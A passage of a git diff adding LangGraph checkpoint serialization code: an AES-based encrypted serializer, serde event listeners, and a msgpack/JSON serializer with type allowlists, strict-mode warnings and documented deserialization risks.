EncryptedSerializer(SerializerProtocol): + """Serializer that encrypts and decrypts data using an encryption protocol.""" + + def __init__( + self, cipher: CipherProtocol, serde: SerializerProtocol = JsonPlusSerializer() + ) -> None: + self.cipher = cipher + self.serde = serde + + def dumps_typed(self, obj: Any) -> tuple[str, bytes]: + """Serialize an object to a tuple `(type, bytes)` and encrypt the bytes.""" + # serialize data + typ, data = self.serde.dumps_typed(obj) + # encrypt data + ciphername, ciphertext = self.cipher.encrypt(data) + # add cipher name to type + return f"{typ}+{ciphername}", ciphertext + + def loads_typed(self, data: tuple[str, bytes]) -> Any: + enc_cipher, ciphertext = data + # unencrypted data + if "+" not in enc_cipher: + return self.serde.loads_typed(data) + # extract cipher name + typ, ciphername = enc_cipher.split("+", 1) + # decrypt data + decrypted_data = self.cipher.decrypt(ciphername, ciphertext) + # deserialize data + return self.serde.loads_typed((typ, decrypted_data)) + + @classmethod + def from_pycryptodome_aes( + cls, serde: SerializerProtocol = JsonPlusSerializer(), **kwargs: Any + ) -> "EncryptedSerializer": + """Create an `EncryptedSerializer` using AES encryption.""" + try: + from Crypto.Cipher import AES + except ImportError: + raise ImportError( + "Pycryptodome is not installed. Please install it with `pip install pycryptodome`." + ) from None + + # check if AES key is provided + if "key" in kwargs: + key: bytes = kwargs.pop("key") + else: + key_str = os.getenv("LANGGRAPH_AES_KEY") + if key_str is None: + raise ValueError("LANGGRAPH_AES_KEY environment variable is not set.") + key = key_str.encode() + if len(key) not in (16, 24, 32): + raise ValueError("LANGGRAPH_AES_KEY must be 16, 24, or 32 bytes long.") + + # set default mode to EAX if not provided + if kwargs.get("mode") is None: + kwargs["mode"] = AES.MODE_EAX + + class PycryptodomeAesCipher(CipherProtocol): + def encrypt(self, plaintext: bytes) -> tuple[str, bytes]: + cipher = AES.new(key, **kwargs) + ciphertext, tag = cipher.encrypt_and_digest(plaintext) + return "aes", cipher.nonce + tag + ciphertext + + def decrypt(self, ciphername: str, ciphertext: bytes) -> bytes: + assert ciphername == "aes", f"Unsupported cipher: {ciphername}" + nonce = ciphertext[:16] + tag = ciphertext[16:32] + actual_ciphertext = ciphertext[32:] + + cipher = AES.new(key, **kwargs, nonce=nonce) + return cipher.decrypt_and_verify(actual_ciphertext, tag) + + return cls(PycryptodomeAesCipher(), serde) diff --git a/libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py b/libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py new file mode 100644 index 0000000..9ea0a5b --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py @@ -0,0 +1,52 @@ +from __future__ import annotations + +import logging +from collections.abc import Callable +from threading import Lock +from typing import TypedDict + +from typing_extensions import NotRequired + +logger = logging.getLogger(__name__) + + +class SerdeEvent(TypedDict): + kind: str + module: str + name: str + method: NotRequired[str] + + +SerdeEventListener = Callable[[SerdeEvent], None] + +_listeners: list[SerdeEventListener] = [] +_listeners_lock = Lock() + + +def register_serde_event_listener(listener: SerdeEventListener) -> Callable[[], None]: + """Register a listener for serde allowlist events.""" + with _listeners_lock: + _listeners.append(listener) + + def unregister() -> None: + with _listeners_lock: + try: + _listeners.remove(listener) + except ValueError: + pass + + return unregister + + +def emit_serde_event(event: SerdeEvent) -> None: + """Emit a serde event to all listeners. + + Listener failures are isolated and logged. + """ + with _listeners_lock: + listeners = tuple(_listeners) + for listener in listeners: + try: + listener(event) + except Exception: + logger.warning("Serde listener failed", exc_info=True) diff --git a/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py b/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py new file mode 100644 index 0000000..abd03f1 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py @@ -0,0 +1,883 @@ +from __future__ import annotations + +import copy +import dataclasses +import decimal +import importlib +import json +import logging +import pathlib +import pickle +import re +import sys +from collections import deque +from collections.abc import Callable, Iterable, Sequence +from datetime import date, datetime, time, timedelta, timezone +from enum import Enum +from inspect import isclass +from ipaddress import ( + IPv4Address, + IPv4Interface, + IPv4Network, + IPv6Address, + IPv6Interface, + IPv6Network, +) +from typing import TYPE_CHECKING, Any, Literal, cast +from uuid import UUID +from zoneinfo import ZoneInfo + +import ormsgpack +from langchain_core.load.load import Reviver + +from langgraph.checkpoint.serde import _msgpack as _lg_msgpack +from langgraph.checkpoint.serde.base import SerializerProtocol +from langgraph.checkpoint.serde.event_hooks import emit_serde_event +from langgraph.checkpoint.serde.types import ( + SendProtocol, + _DeltaSnapshot, +) +from langgraph.store.base import Item + +if TYPE_CHECKING: + from langgraph.checkpoint.serde._msgpack import ( + AllowedMsgpackModules, + ) + +LC_REVIVER = Reviver(allowed_objects="core") +EMPTY_BYTES = b"" +logger = logging.getLogger(__name__) + +# Dedup log warnings across process lifetime; cap bounds state if types are +# dynamically generated (also acts as a circuit breaker on warning volume). +# Dedup is best-effort: racing threads may each emit once for the same key, +# and warnings are silently dropped once _MAX_WARNED_TYPES is reached. +_MAX_WARNED_TYPES = 1000 +_warned_unregistered_types: set[tuple[str, str]] = set() +_warned_blocked_types: set[tuple[str, str]] = set() + + +def _is_safe_json_type(id_list: list[str]) -> bool: + """Return True if an lc=2 id refers to a type in SAFE_MSGPACK_TYPES. + + Safe types bypass the ``allowed_json_modules`` gate so that old "json" format + checkpoints (written before the msgpack migration) can be resumed without + requiring users to configure an explicit allowlist. + """ + if len(id_list) < 2: + return False + module_name = ".".join(id_list[:-1]) + return (module_name, id_list[-1]) in _lg_msgpack.SAFE_MSGPACK_TYPES + + +def _warn_once( + seen: set[tuple[str, str]], key: tuple[str, str], msg: str, *args: object +) -> None: + if key in seen or len(seen) >= _MAX_WARNED_TYPES: + return + seen.add(key) + logger.warning(msg, *args) + + +class JsonPlusSerializer(SerializerProtocol): + """Serializer that uses ormsgpack, with optional fallbacks. + + !!! warning + + Security note: This serializer is intended for use within the `BaseCheckpointSaver` + class and called within the Pregel loop. It should not be used on untrusted + python objects. If an attacker can write directly to your checkpoint database, + they may be able to trigger code execution when data is deserialized. + + Set the environment variable ``LANGGRAPH_STRICT_MSGPACK=true`` to restrict + deserialization to a built-in allowlist of safe types. You can also pass + an explicit ``allowed_msgpack_modules`` to the constructor. + """ + + def __init__( + self, + *, + pickle_fallback: bool = False, + allowed_json_modules: Iterable[tuple[str, ...]] | Literal[True] | None = None, + allowed_msgpack_modules: ( + AllowedMsgpackModules | Literal[True] | None + ) = _lg_msgpack._SENTINEL, + __unpack_ext_hook__: Callable[[int, bytes], Any] | None = None, + ) -> None: + if allowed_msgpack_modules is _lg_msgpack._SENTINEL: + if _lg_msgpack.STRICT_MSGPACK_ENABLED: + # Strict: only SAFE_MSGPACK_TYPES are allowed. + allowed_msgpack_modules = None + else: + # Permissive (default): all types allowed with a warning. + # Set LANGGRAPH_STRICT_MSGPACK=true to lock this down. + allowed_msgpack_modules = True + self.pickle_fallback = pickle_fallback + self._allowed_json_modules: set[tuple[str, ...]] | Literal[True] | None = ( + _normalize_allowlist(allowed_json_modules) + ) + self._allowed_msgpack_modules = _normalize_allowlist(allowed_msgpack_modules) + + self._custom_unpack_ext_hook = __unpack_ext_hook__ is not None + self._unpack_ext_hook = ( + __unpack_ext_hook__ + if __unpack_ext_hook__ is not None + else _create_msgpack_ext_hook(self._allowed_msgpack_modules) + ) + + def with_msgpack_allowlist( + self, extra_allowlist: Iterable[tuple[str, ...] | type] + ) -> JsonPlusSerializer: + """Return a new serializer with a merged msgpack allowlist.""" + base_allowlist = self._allowed_msgpack_modules + if base_allowlist is True or base_allowlist is False: + return self + elif base_allowlist: + base_allowlist = set(base_allowlist) + else: + base_allowlist = set() + extra = _normalize_module_keys(tuple(extra_allowlist)) + merged = base_allowlist | extra + if merged == base_allowlist: + return self + allowed_msgpack_modules: AllowedMsgpackModules | Literal[True] | None + if merged: + allowed_msgpack_modules = tuple(merged) + elif isinstance(self._allowed_msgpack_modules, set): + allowed_msgpack_modules = tuple(self._allowed_msgpack_modules) + else: + allowed_msgpack_modules = self._allowed_msgpack_modules + + clone = copy.copy(self) + clone._allowed_json_modules = _normalize_allowlist(self._allowed_json_modules) + clone._allowed_msgpack_modules = _normalize_allowlist(allowed_msgpack_modules) + if not clone._custom_unpack_ext_hook: + clone._unpack_ext_hook = _create_msgpack_ext_hook( + clone._allowed_msgpack_modules + ) + return clone + + def _reviver(self, value: dict[str, Any]) -> Any: + if ( + value.get("lc", None) == 2 + and value.get("type", None) == "constructor" + and value.get("id", None) is not None + ): + id_list = value["id"] + is_safe = _is_safe_json_type(id_list) + if self._allowed_json_modules or is_safe: + try: + return self._revive_lc2(value) + except InvalidModuleError as e: + if not is_safe: + logger.warning( + "Object %s is not in the deserialization allowlist.\n%s", + value["id"], + e.message, + ) + + return LC_REVIVER(value) + + def _revive_lc2(self, value: dict[str, Any]) -> Any: + self._check_allowed_json_modules(value) + + [*module, name] = value["id"] + # The `method` field on lc:2 envelopes is intentionally ignored. + # Revival is restricted to the default constructor (no `getattr` + # dispatch on attacker-influenced names). The framework's own + # encoder has not emitted `method=` since the msgpack migration, + # and the only legacy emission was `method=(None, "construct")` + # for pydantic models, where the first entry (`None`) already + # meant "default constructor", which is what we do here. + try: + mod = importlib.import_module(".".join(module)) + cls = getattr(mod, name) + if isclass(cls) and issubclass(cls, BaseException): + return None + args = value.get("args") + kwargs = value.get("kwargs") + if args and kwargs: + return cls(*args, **kwargs) + elif args: + return cls(*args) + elif kwargs: + return cls(**kwargs) + else: + return cls() + except Exception as exc: + # Method-field dispatch has been removed (GHSA-fjqc-hq36-qh5p), so + # legacy pydantic payloads emitting `method=[None, "construct"]` + # no longer fall back to `cls.construct(**kwargs)` when the + # default constructor rejects the serialized kwargs. Surface a + # one-line warning so operators can spot payloads that now revive + # to `None` instead of silently degrading to the raw envelope. + logger.warning( + "Failed to revive lc:2 envelope %s " + "(legacy_method_field=%s, error=%s); returning None", + ".".join((*module, name)), + "method" in value, + type(exc).__name__, + ) + return None + + def _check_allowed_json_modules(self, value: dict[str, Any]) -> None: + needed = tuple(value["id"]) + dotted = ".".join(needed) + # Safe types (the same set already allowed for msgpack deserialization) are + # permitted without an explicit allowlist — they are known-safe LangGraph and + # LangChain types. This restores backwards-compat for old "json" checkpoints + # that pre-date the msgpack migration without reopening the broader security gate. + if _is_safe_json_type(list(needed)): + return + + if not self._allowed_json_modules: + raise InvalidModuleError( + f"Refused to deserialize JSON constructor: {dotted}. " + "No allowed_json_modules configured.\n\n" + "Unblock with ONE of:\n" + f" • JsonPlusSerializer(allowed_json_modules=[{needed!r}, ...])\n" + " • (DANGEROUS) JsonPlusSerializer(allowed_json_modules=True)\n\n" + "Note: Prefix allowlists are intentionally unsupported; prefer exact symbols " + "or plain-JSON representations revived without import-time side effects." + ) + + if self._allowed_json_modules is True: + return + if needed in self._allowed_json_modules: + return + + raise InvalidModuleError( + f"Refused to deserialize JSON constructor: {dotted}. " + "Symbol is not in the deserialization allowlist.\n\n" + "Add exactly this symbol to unblock:\n" + f" JsonPlusSerializer(allowed_json_modules=[{needed!r}, ...])\n" + "Or, as a last resort (DANGEROUS):\n" + " JsonPlusSerializer(allowed_json_modules=True)" + ) + + def dumps_typed(self, obj: Any) -> tuple[str, bytes]: + if obj is None: + return "null", EMPTY_BYTES + elif isinstance(obj, bytes): + return "bytes", obj + elif isinstance(obj, bytearray): + return "bytearray", obj + else: + try: + return "msgpack", _msgpack_enc(obj) + except ormsgpack.MsgpackEncodeError as exc: + if self.pickle_fallback: + return "pickle", pickle.dumps(obj) + raise exc + + def loads_typed(self, data: tuple[str, bytes]) -> Any: + type_, data_ = data + if type_ == "null": + return None + elif type_ == "bytes": + return data_ + elif type_ == "bytearray": + return bytearray(data_) + elif type_ == "json": + return json.loads(data_, object_hook=self._reviver) + elif type_ == "msgpack": + return ormsgpack.unpackb( + data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + elif self.pickle_fallback and type_ == "pickle": + return pickle.loads(data_) + else: + raise NotImplementedError(f"Unknown serialization type: {type_}") + + +# --- msgpack --- + +EXT_CONSTRUCTOR_SINGLE_ARG = 0 +EXT_CONSTRUCTOR_POS_ARGS = 1 +EXT_CONSTRUCTOR_KW_ARGS = 2 +EXT_METHOD_SINGLE_ARG = 3 +EXT_PYDANTIC_V1 = 4 +EXT_PYDANTIC_V2 = 5 +EXT_NUMPY_ARRAY = 6 +EXT_DELTA_SNAPSHOT = 7 + + +def _msgpack_default(obj: Any) -> str | ormsgpack.Ext: + if isinstance(obj, _DeltaSnapshot): + return ormsgpack.Ext(EXT_DELTA_SNAPSHOT, _msgpack_enc(obj.value)) + elif hasattr(obj, "model_dump") and callable(obj.model_dump): # pydantic v2 + return ormsgpack.Ext( + EXT_PYDANTIC_V2, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + obj.model_dump(), + "model_validate_json", + ), + ), + ) + elif hasattr(obj, "get_secret_value") and callable(obj.get_secret_value): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + obj.get_secret_value(), + ), + ), + ) + elif hasattr(obj, "dict") and callable(obj.dict): # pydantic v1 + return ormsgpack.Ext( + EXT_PYDANTIC_V1, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + obj.dict(), + ), + ), + ) + elif hasattr(obj, "_asdict") and callable(obj._asdict): # namedtuple + return ormsgpack.Ext( + EXT_CONSTRUCTOR_KW_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + obj._asdict(), + ), + ), + ) + elif isinstance(obj, pathlib.Path): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_POS_ARGS, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, obj.parts), + ), + ) + elif isinstance(obj, re.Pattern): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_POS_ARGS, + _msgpack_enc( + ("re", "compile", (obj.pattern, obj.flags)), + ), + ) + elif isinstance(obj, UUID): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, obj.hex), + ), + ) + elif isinstance(obj, decimal.Decimal): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, str(obj)), + ), + ) + elif isinstance(obj, (set, frozenset, deque)): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, tuple(obj)), + ), + ) + elif isinstance(obj, (IPv4Address, IPv4Interface, IPv4Network)): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, str(obj)), + ), + ) + elif isinstance(obj, (IPv6Address, IPv6Interface, IPv6Network)): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, str(obj)), + ), + ) + elif isinstance(obj, datetime): + return ormsgpack.Ext( + EXT_METHOD_SINGLE_ARG, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + obj.isoformat(), + "fromisoformat", + ), + ), + ) + elif isinstance(obj, timedelta): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_POS_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + (obj.days, obj.seconds, obj.microseconds), + ), + ), + ) + elif isinstance(obj, date): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_POS_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + (obj.year, obj.month, obj.day), + ), + ), + ) + elif isinstance(obj, time): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_KW_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + { + "hour": obj.hour, + "minute": obj.minute, + "second": obj.second, + "microsecond": obj.microsecond, + "tzinfo": obj.tzinfo, + "fold": obj.fold, + }, + ), + ), + ) + elif isinstance(obj, timezone): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_POS_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + obj.__getinitargs__(), # type: ignore[attr-defined] + ), + ), + ) + elif isinstance(obj, ZoneInfo): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, obj.key), + ), + ) + elif isinstance(obj, Enum): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_SINGLE_ARG, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, obj.value), + ), + ) + elif isinstance(obj, SendProtocol): + args: tuple[Any, ...] = (obj.node, obj.arg) + if (timeout := getattr(obj, "timeout", None)) is not None: + args = (obj.node, obj.arg, timeout) + return ormsgpack.Ext( + EXT_CONSTRUCTOR_POS_ARGS, + _msgpack_enc( + (obj.__class__.__module__, obj.__class__.__name__, args), + ), + ) + elif dataclasses.is_dataclass(obj): + # doesn't use dataclasses.asdict to avoid deepcopy and recursion + return ormsgpack.Ext( + EXT_CONSTRUCTOR_KW_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + { + field.name: getattr(obj, field.name) + for field in dataclasses.fields(obj) + }, + ), + ), + ) + elif isinstance(obj, Item): + return ormsgpack.Ext( + EXT_CONSTRUCTOR_KW_ARGS, + _msgpack_enc( + ( + obj.__class__.__module__, + obj.__class__.__name__, + {k: getattr(obj, k) for k in obj.__slots__}, + ), + ), + ) + elif (np_mod := sys.modules.get("numpy")) is not None and isinstance( + obj, np_mod.ndarray + ): + order = "F" if obj.flags.f_contiguous and not obj.flags.c_contiguous else "C" + if obj.flags.c_contiguous: + mv = memoryview(obj) + try: + meta = (obj.dtype.str, obj.shape, order, mv) + return ormsgpack.Ext(EXT_NUMPY_ARRAY, _msgpack_enc(meta)) + finally: + mv.release() + else: + buf = obj.tobytes(order="A") + meta = (obj.dtype.str, obj.shape, order, buf) + return ormsgpack.Ext(EXT_NUMPY_ARRAY, _msgpack_enc(meta)) + + elif isinstance(obj, BaseException): + return repr(obj) + else: + raise TypeError(f"Object of type {obj.__class__.__name__} is not serializable") + + +def _send_from_args(args: Sequence[Any]) -> Any: + # ya we have a cyclic import here ¯\_(ツ)_/¯ + from langgraph.types import Send # type: ignore + + if len(args) == 2: + return Send(*args) + return Send(args[0], args[1], timeout=args[2]) + + +def _create_msgpack_ext_hook( + allowed_modules: set[tuple[str, ...]] | Literal[True] | None, +) -> Callable[[int, bytes], Any]: + """Create msgpack ext hook with allowlist. + + Args: + allowed_modules: Set of (module, name) tuples that are allowed to be + deserialized, or True to allow all with warnings for unregistered types, or None to only allow safe types. + + Returns: + An ext_hook function for use with ormsgpack.unpackb. + """ + + def _check_allowed(module: str, name: str) -> bool: + """Check if type is allowed. Returns True if allowed, False if blocked.""" + key = (module, name) + + if key in _lg_msgpack.SAFE_MSGPACK_TYPES: + return True + + if allowed_modules is True: + # default is to warn but allow unregistered types + emit_serde_event( + { + "kind": "msgpack_unregistered_allowed", + "module": module, + "name": name, + } + ) + _warn_once( + _warned_unregistered_types, + key, + "Deserializing unregistered type %s.%s from checkpoint. " + "This will be blocked in a future version. " + "Set LANGGRAPH_STRICT_MSGPACK=true to block now, or add " + "to allowed_msgpack_modules to allow explicitly: [(%r, %r)]", + module, + name, + module, + name, + ) + return True + if allowed_modules is not None: + if key in allowed_modules: + return True + # strict mode blocks unregistered types + emit_serde_event( + { + "kind": "msgpack_blocked", + "module": module, + "name": name, + } + ) + _warn_once( + _warned_blocked_types, + key, + "Blocked deserialization of %s.%s - not in allowed_msgpack_modules. " + "Add to allowed_msgpack_modules to allow: [(%r, %r)]", + module, + name, + module, + name, + ) + return False + + def _check_allowed_method(module: str, name: str, method: str) -> bool: + """Check if a method invocation is allowed.""" + key = (module, name, method) + if key in _lg_msgpack.SAFE_MSGPACK_METHODS: + return True + emit_serde_event( + { + "kind": "msgpack_method_blocked", + "module": module, + "name": name, + "method": method, + } + ) + logger.warning( + "Blocked deserialization of method call %s.%s.%s - " + "not in allowed methods set.", + module, + name, + method, + ) + return False + + def ext_hook(code: int, data: bytes) -> Any: + if code == EXT_DELTA_SNAPSHOT: + return _DeltaSnapshot( + ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + ) + elif code == EXT_CONSTRUCTOR_SINGLE_ARG: + try: + tup = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + if not _check_allowed(tup[0], tup[1]): + # We default to returning the raw data. If the user + # is using this in the context of a pydantic state, etc., then + # it would be validated upon construction. + return tup[2] + # module, name, arg + return getattr(importlib.import_module(tup[0]), tup[1])(tup[2]) + except Exception: + return None + elif code == EXT_CONSTRUCTOR_POS_ARGS: + try: + tup = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + if not _check_allowed(tup[0], tup[1]): + return tup[2] + if tup[0] == "langgraph.types" and tup[1] == "Send": + return _send_from_args(tup[2]) + # module, name, args + return getattr(importlib.import_module(tup[0]), tup[1])(*tup[2]) + except Exception: + return None + elif code == EXT_CONSTRUCTOR_KW_ARGS: + try: + tup = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + if not _check_allowed(tup[0], tup[1]): + return tup[2] + # module, name, kwargs + return getattr(importlib.import_module(tup[0]), tup[1])(**tup[2]) + except Exception: + return None + elif code == EXT_METHOD_SINGLE_ARG: + try: + tup = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + if not _check_allowed_method(tup[0], tup[1], tup[3]): + return tup[2] + # module, name, arg, method + return getattr( + getattr(importlib.import_module(tup[0]), tup[1]), tup[3] + )(tup[2]) + except Exception: + return None + elif code == EXT_PYDANTIC_V1: + try: + tup = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + if not _check_allowed(tup[0], tup[1]): + return tup[2] + # module, name, kwargs + cls = getattr(importlib.import_module(tup[0]), tup[1]) + try: + return cls(**tup[2]) + except Exception: + return cls.construct(**tup[2]) + except Exception: + # for pydantic objects we can't find/reconstruct + # let's return the kwargs dict instead + try: + return tup[2] + except NameError: + return None + elif code == EXT_PYDANTIC_V2: + try: + tup = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + if not _check_allowed(tup[0], tup[1]): + return tup[2] + # module, name, kwargs, method + cls = getattr(importlib.import_module(tup[0]), tup[1]) + try: + return cls(**tup[2]) + except Exception: + return cls.model_construct(**tup[2]) + except Exception: + # for pydantic objects we can't find/reconstruct + # let's return the kwargs dict instead + try: + return tup[2] + except NameError: + return None + elif code == EXT_NUMPY_ARRAY: + try: + import numpy as _np + + dtype_str, shape, order, buf = ormsgpack.unpackb( + data, ext_hook=ext_hook, option=ormsgpack.OPT_NON_STR_KEYS + ) + arr = _np.frombuffer(buf, dtype=_np.dtype(dtype_str)) + return arr.reshape(shape, order=order) + except Exception: + return None + return None + + return ext_hook + + +# Aliasing in case anyone imported it directly +_msgpack_ext_hook = _create_msgpack_ext_hook(allowed_modules=None) + + +def _msgpack_ext_hook_to_json(code: int, data: bytes) -> Any: + if code == EXT_CONSTRUCTOR_SINGLE_ARG: + try: + tup = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + if tup[0] == "uuid" and tup[1] == "UUID": + hex_ = tup[2] + return ( + f"{hex_[:8]}-{hex_[8:12]}-{hex_[12:16]}-{hex_[16:20]}-{hex_[20:]}" + ) + # module, name, arg + return tup[2] + except Exception: + return + elif code == EXT_CONSTRUCTOR_POS_ARGS: + try: + tup = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + if tup[0] == "langgraph.types" and tup[1] == "Send": + return _send_from_args(tup[2]) + # module, name, args + return tup[2] + except Exception: + return + elif code == EXT_CONSTRUCTOR_KW_ARGS: + try: + tup = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + # module, name, args + return tup[2] + except Exception: + return + elif code == EXT_METHOD_SINGLE_ARG: + try: + tup = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + # module, name, arg, method + return tup[2] + except Exception: + return + elif code == EXT_PYDANTIC_V1: + try: + tup = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + # module, name, kwargs + return tup[2] + except Exception: + # for pydantic objects we can't find/reconstruct + # let's return the kwargs dict instead + return + elif code == EXT_PYDANTIC_V2: + try: + tup = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + # module, name, kwargs, method + return tup[2] + except Exception: + return + elif code == EXT_NUMPY_ARRAY: + try: + import numpy as _np + + dtype_str, shape, order, buf = ormsgpack.unpackb( + data, + ext_hook=_msgpack_ext_hook_to_json, + option=ormsgpack.OPT_NON_STR_KEYS, + ) + arr = _np.frombuffer(buf, dtype=_np.dtype(dtype_str)) + return arr.reshape(shape, order=order).tolist() + except Exception: + return + + +class InvalidModuleError(Exception): + """Exception raised when a module is not in the allowlist.""" + + def __init__(self, message: str): + self.message = message + + +_option = ( + ormsgpack.OPT_NON_STR_KEYS + | ormsgpack.OPT_PASSTHROUGH_DATACLASS + | ormsgpack.OPT_PASSTHROUGH_DATETIME + | ormsgpack.OPT_PASSTHROUGH_ENUM + | ormsgpack.OPT_PASSTHROUGH_UUID + | ormsgpack.OPT_REPLACE_SURROGATES +) + + +def _msgpack_enc(data: Any) -> bytes: + return ormsgpack.packb(data, default=_msgpack_default, option=_option) + + +def _normalize_allowlist( + allowlist: AllowedMsgpackModules | Literal[True] | None, +) -> set[tuple[str, ...]] | Literal[True] | None: + if allowlist is True: + return allowlist + elif allowlist: + return _normalize_module_keys(allowlist) + else: + return None + + +def _normalize_module_keys( + modules: AllowedMsgpackModules, +) -> set[tuple[str, ...]]: + normalized: set[tuple[str, ...]] = set() + for module in modules: + if isclass(module): + normalized.add((module.__module__, module.__name__)) + else: + normalized.add(cast(tuple[str, ...], module)) + return normalized diff --git a/libs/checkpoint/langgraph/checkpoint/serde/py.typed b/libs/checkpoint/langgraph/checkpoint/serde/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/langgraph/checkpoint/serde/types.py b/libs/checkpoint/langgraph/checkpoint/serde/types.py new file mode 100644 index 0000000..72e3720 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/serde/types.py @@ -0,0 +1,68 @@ +from collections.abc import Sequence +from typing import ( + Any, + NamedTuple, + Protocol, + TypeVar, + runtime_checkable, +) + +from typing_extensions import Self + +ERROR = "__error__" +SCHEDULED = "__scheduled__" +INTERRUPT = "__interrupt__" +RESUME = "__resume__" +TASKS = "__pregel_tasks" + + +class _DeltaSnapshot(NamedTuple): + """Snapshot blob for a DeltaChannel with finite snapshot_frequency. + + Stored in checkpoint_blobs via the `EXT_DELTA_SNAPSHOT` msgpack ext code. + The ancestor walk in `BaseCheckpointSaver.get_delta_channel_history` terminates + when it encounters this type (any non-empty channel_values entry stops + the walk for that channel). + + `from_checkpoint` reconstructs the channel value directly from `.value` + without replaying writes — the snapshot IS the accumulated state. + """ + + value: Any + + +Value = TypeVar("Value", covariant=True) +Update = TypeVar("Update", contravariant=True) +C = TypeVar("C") + + +class ChannelProtocol(Protocol[Value, Update, C]): + # Mirrors langgraph.channels.base.BaseChannel + @property + def ValueType(self) -> Any: ... + + @property + def UpdateType(self) -> Any: ... + + def checkpoint(self) -> C | None: ... + + def from_checkpoint(self, checkpoint: C | None) -> Self: ... + + def update(self, values: Sequence[Update]) -> bool: ... + + def get(self) -> Value: ... + + def consume(self) -> bool: ... + + +@runtime_checkable +class SendProtocol(Protocol): + # Mirrors langgraph.constants.Send + node: str + arg: Any + + def __hash__(self) -> int: ... + + def __repr__(self) -> str: ... + + def __eq__(self, value: object) -> bool: ... diff --git a/libs/checkpoint/langgraph/store/base/__init__.py b/libs/checkpoint/langgraph/store/base/__init__.py new file mode 100644 index 0000000..5b04fb5 --- /dev/null +++ b/libs/checkpoint/langgraph/store/base/__init__.py @@ -0,0 +1,1314 @@ +"""Base classes and types for persistent key-value stores. + +Stores provide long-term memory that persists across threads and conversations. +Supports hierarchical namespaces, key-value storage, and optional vector search. + +Core types: + - `BaseStore`: Store interface with sync/async operations + - `Item`: Stored key-value pairs with metadata + - `Op`: Get/Put/Search/List operations +""" + +from __future__ import annotations + +from abc import ABC, abstractmethod +from collections.abc import Iterable +from datetime import datetime +from typing import ( + Any, + Literal, + NamedTuple, + TypedDict, + cast, +) + +from langchain_core.embeddings import Embeddings +from typing_extensions import override + +from langgraph.store.base.embed import ( + AEmbeddingsFunc, + EmbeddingsFunc, + ensure_embeddings, + get_text_at_path, + tokenize_path, +) + + +class NotProvided: + """Sentinel singleton.""" + + def __bool__(self) -> Literal[False]: + return False + + @override + def __repr__(self) -> str: + return "NOT_GIVEN" + + +NOT_PROVIDED = NotProvided() + + +class Item: + """Represents a stored item with metadata. + + 